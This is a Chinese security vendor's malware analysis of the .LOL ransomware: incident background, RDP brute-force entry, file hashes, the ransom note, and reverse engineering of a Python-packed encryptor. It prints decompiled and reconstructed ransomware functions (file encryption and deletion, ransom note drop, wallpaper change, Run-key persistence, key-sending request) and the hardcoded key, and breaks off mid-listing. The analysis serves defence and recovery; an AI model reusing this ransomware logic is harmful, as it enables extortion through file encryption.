Solarsec 发表于 2024-11-5 16:29

【病毒分析】全网首发!全面剖析.LOL勒索病毒,无需缴纳赎金,破解方案敬请期待下篇!

本帖最后由 Solarsec 于 2024-11-5 16:31 编辑

# 1.背景

国庆前夕,我们接到来自北京某客户的紧急求助,称其公司超过10台设备遭遇勒索病毒攻击,导致业务全面瘫痪,亟需协助。接到请求后,Solar安全团队立即赶赴现场,协助客户进行安全断网并备份关键数据,以防病毒进一步扩散。

在排查过程中,我们发现客户的安全设备成功检测并隔离了该加密器。通过提取隔离区文件,我们成功获取了加密器的样本。客户出于数据恢复的迫切需求,与黑客进行了初步谈判,勒索金额为每台1200美元(约合人民币8510元),总计18000美元(约合人民币127740元)。然而,我们建议客户优先尝试技术手段进行恢复,因为部分勒索组织可能在收到赎金后并不提供解密工具,甚至会实施二次勒索。详见前期文章【病毒分析】交了赎金也无法恢复--针对国内某知名NAS的LVT勒索病毒最新分析

通过我们的分析,团队成功破解了该勒索病毒,顺利恢复了客户的所有数据,恢复率达到100%。本篇文章将详细分析该勒索病毒的技术特征,下一篇将分享我们的破解思路和工具。



# 2.溯源分析

## 2.1 入口点

由于服务器的IP映射至互联网,且远程桌面功能未设置访问限制,导致3389端口对外暴露。黑客在发现该IP和开放的3389端口后,自2024年9月7日7:15:10起便频繁利用大量恶意IP进行RDP爆破攻击,疑似通过跳板机或代理IP实施攻击,后续咨询用户得知服务器RDP密码为弱口令。



攻击者首次爆破时间



攻击者恶意IP信息

## 2.2 横向感染

2024年9月21日0:55,黑客利用伊朗恶意IP 46.164.83.19成功登陆服务器,并通过该跳板机使用Netscan和Nbtscan等工具收集信息,随后利用NLBrute进行RDP用户名和密码的暴力破解,扩大了感染范围。至1:57,黑客开始执行加密操作,最终共导致15台机器被感染,业务瘫痪、无法正常运行。



攻击者成功登系统


攻击者恶意IP信息

# 3.恶意文件基础信息

## 3.1 加密器基本信息

| 文件名:   | Crypt.exe                                                    |
| --------- | ------------------------------------------------------------ |
| 编译器:   | Microsoft Visual C/C++(19.36.33813)                     |
| 大小:   | 19.81 MB                                                   |
| 操作系统: | Windows(Vista)                         |
| 类型:   | EXEC                                                         |
| 字节序:   | LE                                                         |
| MD5:      | ddef08ea0d2d4d3fcb1833864908de42                           |
| SHA1:   | 300566f50769baab1db9abc1b7bf2fc297489b67                     |
| SHA256:   | 4998131d9da04240464355e09181f10dc42234fc08f58d710b4d821ea89fc635 |

## 3.3 勒索信

```Plain
您的文件已被锁定。
您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我发送电子邮件。
获取解密工具和解密过程的详细信息。

案例编号:MJ-CHNull003
电子邮件:elenaelerhsteink08673@gmail.com

Your Files Have Been Locked.
Your files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.
To obtain the decryption tool and detailed instructions:

Case Number: MJ-CHNull003
Contact Email: elenaelerhsteink08673@gmail.com
```

# 4.加密后文件分析

## 4.1威胁分析

| **病毒家族**                  | lol                                                          |
| ----------------------------- | ------------------------------------------------------------ |
| **首次出现时间/捕获分析时间** | 2024/09/29 \|\| 2024/9/29                                    |
| **威胁类型**                  | 勒索软件,加密病毒                                           |
| **加密文件扩展名**            | .lol                                                         |
| **勒索信文件名**            | Ransom_Note.txt                                              |
| **有无免费解密器?**          | 无                                                         |
| **联系邮箱**                  | elenaelerhsteink08673@gmail.com                              |
| **检测名称**                  | Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W)),Cylance(Unsafe),DeepInstinct(MALICIOUS),Emsisoft(Gen:Variant.Tedy.512515 (B)),ESET-NOD32(A Variant Of MSIL/Filecoder.LU),GData(Gen:Variant.Tedy.512515), Ikarus (Trojan.MSIL.Crypt),K7GW(Trojan ( 0052f4e41 )) |
| **感染症状**                  | 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.locked)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。 |
| **感染方式**                  | 受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接   |
| **受灾影响**                  | 所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。 |

## 4.2 加密的测试文件

### 4.2.1文件名

sierting.txt

### 4.2.2具体内容




### 4.2.3加密文件名特征

加密文件名 = 原始文件名+lol ,例如:sierting.txt.lol

### 4.2.4加密算法

文件加密使用了nacl加密算法。

### 4.2.5释放文件

#### 4.2.5.1勒索信(Ransom_Note.txt)

##### 文件内容

```C++
您的文件已被锁定。
您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我发送电子邮件。
获取解密工具和解密过程的详细信息。

案例编号:MJ-CHNull003
电子邮件:elenaelerhsteink08673@gmail.com

Your Files Have Been Locked.
Your files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.
To obtain the decryption tool and detailed instructions:

Case Number: MJ-CHNull003
Contact Email: elenaelerhsteink08673@gmail.com```






# 5.逆向分析

## 5.1 总体流程分析


## 5.2加密器逆向分析

通过使用ida进行分析可以发现他是由python打包而成的exe


因此使用pyinstxtractor 与pycdc可以获取源码

### 5.2.1更换勒索壁纸

将勒索邮箱写入壁纸,然后更换壁纸

```Go
img = Image.new('RGB', (1280, 800), (73, 109, 137), **('color',))
    d = ImageDraw.Draw(img)
    font = ImageFont.load_default()
    text = f'''Your files are locked! Contact: {email}'''
    d.text((100, 250), text, (255, 255, 255), font, **('fill', 'font'))
    img.save('background_image.jpg')
    ctypes.windll.user32.SystemParametersInfoW(20, 0, os.path.abspath('background_image.jpg'), 3)
```

### 5.2.2添加开机启动项

使用写入注册表的形式实现权限维持,由于这是python打包而成的exe,在获取路径的时候会获取为python文件的路径,但是这个路径在程序运行结束之后会自行删除,因此这是一个无效的权限维持手段

```C
def add_to_startup(script_path):
    key = OpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_SET_VALUE)
    SetValueEx(key, 'MyScript', 0, REG_SZ, script_path)
    CloseKey(key)
```

### 5.2.3写入勒索信

写入勒索信

```Python
def create_ransom_note():
Unsupported opcode: RERAISE
    message = '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我 发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n'
    user_profiles = (lambda .0: [ os.path.join('C:\\Users', user) for user in .0 if os.path.isdir(os.path.join('C:\\Users', user)) ])(os.listdir('C:\\Users'))
```

### 5.2.4密钥生成

```SQL
Key = b'\xc0n\xf7\xd3\x95\x90w7\x06\xdd\xc2A\x8d\xaew\xcd[\xdb\xc9R\xf0\xfbLE8\xf0\xf7\xd5\xce\xed\xd6\xfa'
Box = nacl.secret.SecretBox(Key)
```

### 5.2.5 初始化加密路径

初始化加密路径,对于c盘只加密C:\Users路径下的文件

```Go
PathList = [
    'C:\\Users\\\\']
for Latter in range(97, 123):
    PathList.append(f'''{chr(Latter)}:\\''')
PathList.remove('c:\\')
print(f'''Valid user directories: {PathList}''')
```

### 5.2.6 申请提权弹窗

判断是否为管理员权限

```C
AdminRight = ctypes.windll.shell32.IsUserAnAdmin()
```

如果不是,弹出窗口要求以管理员权限运行

```C++
def CallErrorBox():
    WINDOW = tkinter.Tk()
    WINDOW.withdraw()
    messagebox.showerror('Error', 'Try To Re-Run As Administrator')
```

### 5.2.7 遍历路径加密文件

对路径进行遍历,并排除部分文件,然后调用nacl算法进行加密

```Python
def encrypt_files_in_path(path):
    for root, _, files in os.walk(path):
      for name in files:
            file_path = os.path.join(root, name)
            file_size = os.stat(file_path).st_size
            if None((lambda .0 = None: for x in .0:x in file_path)(('$Recycle.Bin', 'Windows', 'AppData', 'System32'))):
                continue
            if None((lambda .0 = None: for ext in .0:file_path.endswith(ext))(('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt'))):
                continue
            if file_size >= FILE_SIZE_THRESHOLD:
                yield file_path
                continue
            print(f'''Encrypting small file {file_path}''')
            D_E_ncrypt(file_path, Box).FileE()
```

## 5.3代码还原

### 5.3.1 python字节码生成

通过上文我们得到的pyc文件,我们可以通过pycdas工具将pyc反编译为python字节码



### 5.3.2 D_E_ncrypt

#### 5.3.2.1 D_E_ncrypt.FileE

fileE函数对应的字节码如下

```C
0       LOAD_GLOBAL                     0: print
2       LOAD_CONST                      1: 'FILE -> '
4       LOAD_FAST                     0: self
6       LOAD_ATTR                     1: Target
8       FORMAT_VALUE                  0 (FVC_NONE)
10      BUILD_STRING                  2
12      CALL_FUNCTION                   1
14      POP_TOP
16      SETUP_FINALLY                   192 (to 210)
18      LOAD_GLOBAL                     2: os
20      LOAD_ATTR                     3: path
22      LOAD_METHOD                     4: isdir
24      LOAD_FAST                     0: self
26      LOAD_ATTR                     1: Target
28      CALL_METHOD                     1
30      LOAD_CONST                      2: True
32      COMPARE_OP                      3 (!=)
34      POP_JUMP_IF_FALSE               206
36      LOAD_GLOBAL                     5: open
38      LOAD_FAST                     0: self
40      LOAD_ATTR                     1: Target
42      LOAD_CONST                      3: 'rb'
44      CALL_FUNCTION                   2
46      SETUP_WITH                      24 (to 72)
48      STORE_FAST                      1: File
50      LOAD_FAST                     1: File
52      LOAD_METHOD                     6: read
54      CALL_METHOD                     0
56      STORE_FAST                      2: Date
58      POP_BLOCK
60      LOAD_CONST                      0: None
62      DUP_TOP
64      DUP_TOP
66      CALL_FUNCTION                   3
68      POP_TOP
70      JUMP_FORWARD                  16 (to 88)
72      WITH_EXCEPT_START
74      POP_JUMP_IF_TRUE                78
76      RERAISE
78      POP_TOP
80      POP_TOP
82      POP_TOP
84      POP_EXCEPT
86      POP_TOP
88      LOAD_FAST                     0: self
90      LOAD_ATTR                     1: Target
92      STORE_FAST                      3: FileName
94      LOAD_FAST                     0: self
96      LOAD_ATTR                     7: BoxM
98      LOAD_METHOD                     8: encrypt
100   LOAD_FAST                     2: Date
102   CALL_METHOD                     1
104   STORE_FAST                      4: Encrypted
106   LOAD_FAST                     0: self
108   LOAD_ATTR                     1: Target
110   LOAD_GLOBAL                     9: sys
112   LOAD_ATTR                     10: argv
114   LOAD_CONST                      4: 0
116   BINARY_SUBSCR
118   COMPARE_OP                      3 (!=)
120   POP_JUMP_IF_FALSE               206
122   LOAD_GLOBAL                     5: open
124   LOAD_FAST                     3: FileName
126   FORMAT_VALUE                  0 (FVC_NONE)
128   LOAD_CONST                      5: '.lol'
130   BUILD_STRING                  2
132   LOAD_CONST                      6: 'wb'
134   CALL_FUNCTION                   2
136   SETUP_WITH                      40 (to 178)
138   STORE_FAST                      1: File
140   LOAD_GLOBAL                     0: print
142   LOAD_CONST                      1: 'FILE -> '
144   LOAD_FAST                     3: FileName
146   FORMAT_VALUE                  0 (FVC_NONE)
148   BUILD_STRING                  2
150   CALL_FUNCTION                   1
152   POP_TOP
154   LOAD_FAST                     1: File
156   LOAD_METHOD                     11: write
158   LOAD_FAST                     4: Encrypted
160   CALL_METHOD                     1
162   POP_TOP
164   POP_BLOCK
166   LOAD_CONST                      0: None
168   DUP_TOP
170   DUP_TOP
172   CALL_FUNCTION                   3
174   POP_TOP
176   JUMP_FORWARD                  16 (to 194)
178   WITH_EXCEPT_START
180   POP_JUMP_IF_TRUE                184
182   RERAISE
184   POP_TOP
186   POP_TOP
188   POP_TOP
190   POP_EXCEPT
192   POP_TOP
194   LOAD_GLOBAL                     2: os
196   LOAD_METHOD                     12: remove
198   LOAD_FAST                     0: self
200   LOAD_ATTR                     1: Target
202   CALL_METHOD                     1
204   POP_TOP
206   POP_BLOCK
208   JUMP_FORWARD                  52 (to 262)
210   DUP_TOP
212   LOAD_GLOBAL                     13: Exception
214   JUMP_IF_NOT_EXC_MATCH         260
218   POP_TOP
220   STORE_FAST                      5: e
222   POP_TOP
224   SETUP_FINALLY                   26 (to 252)
226   LOAD_GLOBAL                     0: print
228   LOAD_CONST                      7: 'Error -> '
230   LOAD_FAST                     5: e
232   FORMAT_VALUE                  0 (FVC_NONE)
234   BUILD_STRING                  2
236   CALL_FUNCTION                   1
238   POP_TOP
240   POP_BLOCK
242   POP_EXCEPT
244   LOAD_CONST                      0: None
246   STORE_FAST                      5: e
248   DELETE_FAST                     5: e
250   JUMP_FORWARD                  10 (to 262)
252   LOAD_CONST                      0: None
254   STORE_FAST                      5: e
256   DELETE_FAST                     5: e
258   RERAISE
260   RERAISE
262   LOAD_CONST                      0: None
264   RETURN_VALUE
```

我们只反编译出了该字节码的前几行

```Python
   def FileE(self):
Unsupported opcode: RERAISE
      print(f'''FILE -> {self.Target}''')
    # WARNING: Decompyle incomplete
```

对应字节码中的

```Python
0       LOAD_GLOBAL                     0: print       //加载函数print
2       LOAD_CONST                      1: 'FILE -> '//加载常量
4       LOAD_FAST                     0: self       //加载局部变量
6       LOAD_ATTR                     1: Target//加载对象属性并放置于栈顶
8       FORMAT_VALUE                  0 (FVC_NONE) //格式化字符串
10      BUILD_STRING                  2         //拼接字符串
12      CALL_FUNCTION                   1//调用函数print
14      POP_TOP                            //弹出栈顶元素
```

设置了一个异常处理,从16行到84行的 字节码都处于try,catch中

```Python
16      SETUP_FINALLY                   192 (to 210)//设置异常处理,如果触发异常则跳转到210行
84      POP_EXCEPT                                  //结束异常处理
```

异常处理部分

```Go
210   DUP_TOP                        //复制栈顶的元素并将其放回栈顶
212   LOAD_GLOBAL                     13: Exception
214   JUMP_IF_NOT_EXC_MATCH         260//判断是否匹配异常,如果不匹配就调转到260行 结束函数的位置
218   POP_TOP
220   STORE_FAST                      5: e   //保存变量
222   POP_TOP
224   SETUP_FINALLY                   26 (to 252) //再次设置异常处理
226   LOAD_GLOBAL                     0: print
228   LOAD_CONST                      7: 'Error -> '
230   LOAD_FAST                     5: e
232   FORMAT_VALUE                  0 (FVC_NONE)
234   BUILD_STRING                  2
236   CALL_FUNCTION                   1   //调用print
238   POP_TOP
240   POP_BLOCK
242   POP_EXCEPT
244   LOAD_CONST                      0: None
246   STORE_FAST                      5: e
248   DELETE_FAST                     5: e
250   JUMP_FORWARD                  10 (to 262)
252   LOAD_CONST                      0: None
254   STORE_FAST                      5: e
256   DELETE_FAST                     5: e
258   RERAISE
260   RERAISE
262   LOAD_CONST                      0: None
264   RETURN_VALUE
```

因此异常处理的代码如下

```Python
try:
    #加密部分
except Exception as e:
    try:
      print('Error -> ', e)
    except :
      return 0
   
```

接着翻译加密部分代码

```Python
18      LOAD_GLOBAL                     2: os
20      LOAD_ATTR                     3: path
22      LOAD_METHOD                     4: isdir
24      LOAD_FAST                     0: self
26      LOAD_ATTR                     1: Target
28      CALL_METHOD                     1//os.path.isdir(self.Target)
30      LOAD_CONST                      2: True
32      COMPARE_OP                      3 (!=)
34      POP_JUMP_IF_FALSE               206 //判断结果是否为true 不为true则跳转到206
36      LOAD_GLOBAL                     5: open
38      LOAD_FAST                     0: self
40      LOAD_ATTR                     1: Target
42      LOAD_CONST                      3: 'rb'
44      CALL_FUNCTION                   2
46      SETUP_WITH                      24 (to 72)//with open(self.Target,"rb")
48      STORE_FAST                      1: File //保存变量为file
50      LOAD_FAST                     1: File
52      LOAD_METHOD                     6: read
54      CALL_METHOD                     0
56      STORE_FAST                      2: Date//Date = File.read()
58      POP_BLOCK
60      LOAD_CONST                      0: None
62      DUP_TOP
64      DUP_TOP
66      CALL_FUNCTION                   3
68      POP_TOP
70      JUMP_FORWARD                  16 (to 88) 无条件跳转
```

其中206处的字节如下

```C
206   POP_BLOCK
208   JUMP_FORWARD                  52 (to 262)

262   LOAD_CONST                      0: None
264   RETURN_VALUE    //return 0
```

因此可以翻译成以下代码

```Python
      try:
            if os.path.isdir(self.Target) !=true:
                with open(self.Target,"rb") as File:
                  Date = File.read()
            else:
                return 0
      except Exception as e:
            try:
                print('Error -> ', e)
            except:
                return 0
88      LOAD_FAST                     0: self
90      LOAD_ATTR                     1: Target
92      STORE_FAST                      3: FileName
94      LOAD_FAST                     0: self
96      LOAD_ATTR                     7: BoxM
98      LOAD_METHOD                     8: encrypt
100   LOAD_FAST                     2: Date
102   CALL_METHOD                     1
104   STORE_FAST                      4: Encrypted
```

将上面的翻译成代码就是

```Python
Filename = self.Target
Encrypted = self.BoxM.encrypt(Date)
106   LOAD_FAST                     0: self
108   LOAD_ATTR                     1: Target
110   LOAD_GLOBAL                     9: sys
112   LOAD_ATTR                     10: argv
114   LOAD_CONST                      4: 0
116   BINARY_SUBSCR   //从元组或者字典中获取元素这里指获取sys.argv
118   COMPARE_OP                      3 (!=)
120   POP_JUMP_IF_FALSE               206
122   LOAD_GLOBAL                     5: open
124   LOAD_FAST                     3: FileName
126   FORMAT_VALUE                  0 (FVC_NONE) //格式化字符串
128   LOAD_CONST                      5: '.lol'
130   BUILD_STRING                  2
132   LOAD_CONST                      6: 'wb'
134   CALL_FUNCTION                   2
136   SETUP_WITH                      40 (to 178)
138   STORE_FAST                      1: File
140   LOAD_GLOBAL                     0: print
142   LOAD_CONST                      1: 'FILE -> '
144   LOAD_FAST                     3: FileName
146   FORMAT_VALUE                  0 (FVC_NONE)
148   BUILD_STRING                  2
150   CALL_FUNCTION                   1
152   POP_TOP
154   LOAD_FAST                     1: File
156   LOAD_METHOD                     11: write
158   LOAD_FAST                     4: Encrypted
160   CALL_METHOD                     1
```

翻译后的代码为

```Python
if self.Target != sys.argv:
            with open(Filename+'.lol','wb') as File:
                print(f'''FILE -> {Filename}''')
                File.write(Encrypted)
else:
    return 0
194   LOAD_GLOBAL                     2: os
196   LOAD_METHOD                     12: remove
198   LOAD_FAST                     0: self
200   LOAD_ATTR                     1: Target
202   CALL_METHOD                     1
204   POP_TOP
206   POP_BLOCK
208   JUMP_FORWARD                  52 (to 262)
os.remove(Self.Target)
return 0
```

因此 FileE函数大致代码为

```Python
    def FileE(self):
      print(f'''FILE -> {self.Target}''')
      try:
            if os.path.isdir(self.Target) !=true:
                with open(self.Target,"rb") as File:
                  Date = File.read()
            else:
                return 0
      except Exception as e:
            try:
                print('Error -> ', e)
                except:
                  return 0
      Filename = self.Target
      Encrypted = self.BoxM.encrypt(Date)
      if self.Target != sys.argv:
            with open(Filename+'.lol','wb') as File:
                print(f'''FILE -> {Filename}''')
                File.write(Encrypted)
      else :
            return 0
      os.remove(Self.Target)
```

#### 4.3.2.2 SendKey

此函数被正常反编译出来,这里就不再赘述

```Python
    def SendKey(self):
      requests.get(self.Url)
```

#### 5.3.2.3 init

此函数被正常反编译出来,这里就不再赘述

```Python
    def __init__(self, Target, BoxM, Url = (0, 0, 0)):
      self.Target = Target
      self.BoxM = BoxM
      self.Url = Url
```

### 5.3.3 create_image_with_email函数

此函数被正常反编译出来,这里就不再赘述

```Python
def create_image_with_email(email):
    img = Image.new('RGB', (1280, 800), (73, 109, 137), **('color',))
    d = ImageDraw.Draw(img)
    font = ImageFont.load_default()
    text = f'''Your files are locked! Contact: {email}'''
    d.text((100, 250), text, (255, 255, 255), font, **('fill', 'font'))
    img.save('background_image.jpg')
    ctypes.windll.user32.SystemParametersInfoW(20, 0, os.path.abspath('background_image.jpg'), 3)
```

### 5.3.4 add_to_startup函数

此函数被正常反编译出来,这里就不再赘述

```Python
def add_to_startup(script_path):
    key = OpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_SET_VALUE)
    SetValueEx(key, 'MyScript', 0, REG_SZ, script_path)
    CloseKey(key)
```

### 5.3.5 create_ransom_note 函数

通过工具,我们能反编译出他的前几行代码,但是后面的代码都不能识别,因此进行手动还原代码

```SQL
def create_ransom_note():
Unsupported opcode: RERAISE
    message = '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我 发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n'
    user_profiles = (lambda .0: [ os.path.join('C:\\Users', user) for user in .0 if os.path.isdir(os.path.join('C:\\Users', user)) ])(os.listdir('C:\\Users'))
# WARNING: Decompyle incomplete
```

首先来处理第一段字节码,这里面调用了一个列表推导式

```SQL
0       LOAD_CONST                      1: '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n'
2       STORE_FAST                      0: message
4       LOAD_CONST                      2: <CODE> <listcomp>
6       LOAD_CONST                      3: 'create_ransom_note.<locals>.<listcomp>'
8       MAKE_FUNCTION                   0//调用一个自写的列表推导式
10      LOAD_GLOBAL                     0: os
12      LOAD_METHOD                     1: listdir
14      LOAD_CONST                      4: 'C:\\Users'    //输入的参数
16      CALL_METHOD                     1
18      GET_ITER
20      CALL_FUNCTION                   1
22      STORE_FAST                      1: user_profiles
```

列表推导式的字节码如下

```SQL
0       BUILD_LIST                      0
2       LOAD_FAST                     0: .0//输入的参数 这里指的是os.listdir('C:\\Users')
4       FOR_ITER                        40 (to 46)//循环
6       STORE_FAST                      1: user
8       LOAD_GLOBAL                     0: os
10      LOAD_ATTR                     1: path
12      LOAD_METHOD                     2: isdir
14      LOAD_GLOBAL                     0: os
16      LOAD_ATTR                     1: path   
18      LOAD_METHOD                     3: join
20      LOAD_CONST                      0: 'C:\\Users'
22      LOAD_FAST                     1: user
24      CALL_METHOD                     2   // os.path.join('C:\\Users', user)
26      CALL_METHOD                     1   //os.path.isdir(os.path.join('C:\\Users', user))
28      POP_JUMP_IF_FALSE               4//如果为flase 跳到4 重新开始迭代
30      LOAD_GLOBAL                     0: os
32      LOAD_ATTR                     1: path
34      LOAD_METHOD                     3: join
36      LOAD_CONST                      0: 'C:\\Users'
38      LOAD_FAST                     1: user
40      CALL_METHOD                     2 // os.path.join('C:\\Users', user)
42      LIST_APPEND                     2 //添加到数组中
44      JUMP_ABSOLUTE                   4
46      RETURN_VALUE
```

还原后的代码如下

```Plain

```

然后是第二段字节码

```SQL
24      LOAD_FAST                     1: user_profiles
26      GET_ITER
28      FOR_ITER                        178 (to 208)//对user_profiles进行迭代
30      STORE_FAST                      2: user_profile
32      LOAD_GLOBAL                     0: os
34      LOAD_ATTR                     2: path
36      LOAD_METHOD                     3: join
38      LOAD_FAST                     2: user_profile
40      LOAD_CONST                      5: 'Desktop'
42      CALL_METHOD                     2
44      STORE_FAST                      3: desktop_path
```

最后得到的代码如下

```SQL
    for user_profile in user_profiles:
       desktop_path= os.path.join(user_profile,'Desktop')
```

然后是一段判断

```SQL
46      LOAD_GLOBAL                     0: os
48      LOAD_ATTR                     2: path
50      LOAD_METHOD                     4: exists
52      LOAD_FAST                     3: desktop_path
54      CALL_METHOD                     1
56      POP_JUMP_IF_FALSE               28   //如果值为false则跳转到循环的开头,及contiune操作
```

代码如下

```SQL
ransom_note_path = os.path.join(desktop_path,'Ransom_Note.txt')
```

接下来是一段异常处理

```Python
58      SETUP_FINALLY                   90 (to 150) //设置异常处理
60      LOAD_GLOBAL                     0: os
62      LOAD_ATTR                     2: path
64      LOAD_METHOD                     3: join
66      LOAD_FAST                     3: desktop_path
68      LOAD_CONST                      6: 'Ransom_Note.txt'
70      CALL_METHOD                     2    //os.path.join(desktop_path,'Ransom_Note.txt')
72      STORE_FAST                      4: ransom_note_path
74      LOAD_GLOBAL                     5: open
76      LOAD_FAST                     4: ransom_note_path
78      LOAD_CONST                      7: 'w'
80      LOAD_CONST                      8: 'utf-8'
82      LOAD_CONST                      9: ('encoding',)
84      CALL_FUNCTION_KW                3
86      SETUP_WITH                      26 (to 114)   //with open(ransom_note_path, 'w', encoding='utf-8')
88      STORE_FAST                      5: ransom_note_file// as ransom_note_file:
90      LOAD_FAST                     5: ransom_note_file
92      LOAD_METHOD                     6: write
94      LOAD_FAST                     0: message   //ransom_note_file.write(message)
96      CALL_METHOD                     1
98      POP_TOP
100   POP_BLOCK
102   LOAD_CONST                      0: None
104   DUP_TOP
106   DUP_TOP
108   CALL_FUNCTION                   3
110   POP_TOP
112   JUMP_FORWARD                  16 (to 130)//无条件跳转
114   WITH_EXCEPT_START
116   POP_JUMP_IF_TRUE                120
118   RERAISE
120   POP_TOP
122   POP_TOP
124   POP_TOP
126   POP_EXCEPT
128   POP_TOP
130   LOAD_GLOBAL                     7: print
132   LOAD_CONST                      10: 'Ransom note placed on '
134   LOAD_FAST                     2: user_profile
136   FORMAT_VALUE                  0 (FVC_NONE)   //格式化字符串
138   LOAD_CONST                      11: "'s desktop."
140   BUILD_STRING                  3
142   CALL_FUNCTION                   1//print(f'Ransom note placed on {user_profile}\'s desktop.')
144   POP_TOP
146   POP_BLOCK
148   JUMP_ABSOLUTE                   28
150   DUP_TOP
152   LOAD_GLOBAL                     8: Exception//加载异常
154   JUMP_IF_NOT_EXC_MATCH         204
156   POP_TOP
158   STORE_FAST                      6: e
160   POP_TOP
162   SETUP_FINALLY                   32 (to 196)
164   LOAD_GLOBAL                     7: print
166   LOAD_CONST                      12: 'Failed to create ransom note on '
168   LOAD_FAST                     2: user_profile
170   FORMAT_VALUE                  0 (FVC_NONE)
172   LOAD_CONST                      13: "'s desktop: "
174   LOAD_FAST                     6: e
176   FORMAT_VALUE                  0 (FVC_NONE)
178   BUILD_STRING                  4
180   CALL_FUNCTION                   1
182   POP_TOP
184   POP_BLOCK
186   POP_EXCEPT
188   LOAD_CONST                      0: None
190   STORE_FAST                      6: e
92   DELETE_FAST                     6: e
194   JUMP_ABSOLUTE                   28
196   LOAD_CONST                      0: None
198   STORE_FAST                      6: e
200   DELETE_FAST                     6: e
202   RERAISE
204   RERAISE
206   JUMP_ABSOLUTE                   28
208   LOAD_CONST                      0: None
210   RETURN_VALUE
```

最后还原的代码如下

```Python
    try:
      ransom_note_path = os.path.join(desktop_path,'Ransom_Note.txt')
      with open(ransom_note_path, 'w', encoding='utf-8') as ransom_note_file:
            ransom_note_file.write(message)
    except Exception as e:
         print(f'Failed to create ransom note on {user_profile}\'s desktop: {e}')
         continue

    print(f'Ransom note placed on {user_profile}\'s desktop.')
```

因此这个函数的大致代码为,用于创建勒索信

```Python
def create_ransom_note():
    message = '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我 发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n'
    user_profiles =
    for user_profile in user_profiles:
       desktop_path= os.path.join(user_profile,'Desktop')
    if notos.path.exists(desktop_path):
      continue
    try:
      ransom_note_path = os.path.join(desktop_path,'Ransom_Note.txt')
      with open(ransom_note_path, 'w', encoding='utf-8') as ransom_note_file:
            ransom_note_file.write(message)
    except Exception as e:
         print(f'Failed to create ransom note on {user_profile}\'s desktop: {e}')
         continue
    print(f'Ransom note placed on {user_profile}\'s desktop.')
```

### 5.3.6OneStart 函数

这个函数也只反编译了一部分出来,因此我们也需要对他进行代码的还原。

首先是一个输出

```Go
0       LOAD_GLOBAL                     0: print
2       LOAD_CONST                      1: "It's Working"
4       CALL_FUNCTION                   1
print("It's Working")
```

然后使用了一个线程池进行并发操作

```SQL
8       LOAD_GLOBAL                     1: ThreadPoolExecutor
10      LOAD_GLOBAL                     2: MAX_THREAD_WORKERS
12      LOAD_CONST                      2: ('max_workers',)
14      CALL_FUNCTION_KW                1
16      SETUP_WITH                      140 (to 158)
18      STORE_DEREF                     0: executor
20      LOAD_CLOSURE                  0: executor// with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor:
22      BUILD_TUPLE                     1
24      LOAD_CONST                      3: <CODE> <dictcomp>   //调用自写的推导式
26      LOAD_CONST                      4: 'OneStart.<locals>.<dictcomp>'
28      MAKE_FUNCTION                   8
30      LOAD_GLOBAL                     3: PathList
32      GET_ITER
34      CALL_FUNCTION                   1//将PathList数组当成参数压入栈
36      STORE_FAST                      0: future_to_file
```

还原的代码如下

```Python
with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor:
      future_to_file = {
       // 调用推导式
    }
```

推导式的字节码如下

```Plain
0       BUILD_MAP                     0
2       LOAD_FAST                     0: .0//加载参数
4       FOR_ITER                        38 (to 44)
6       STORE_FAST                      1: path   //for path in pathlist
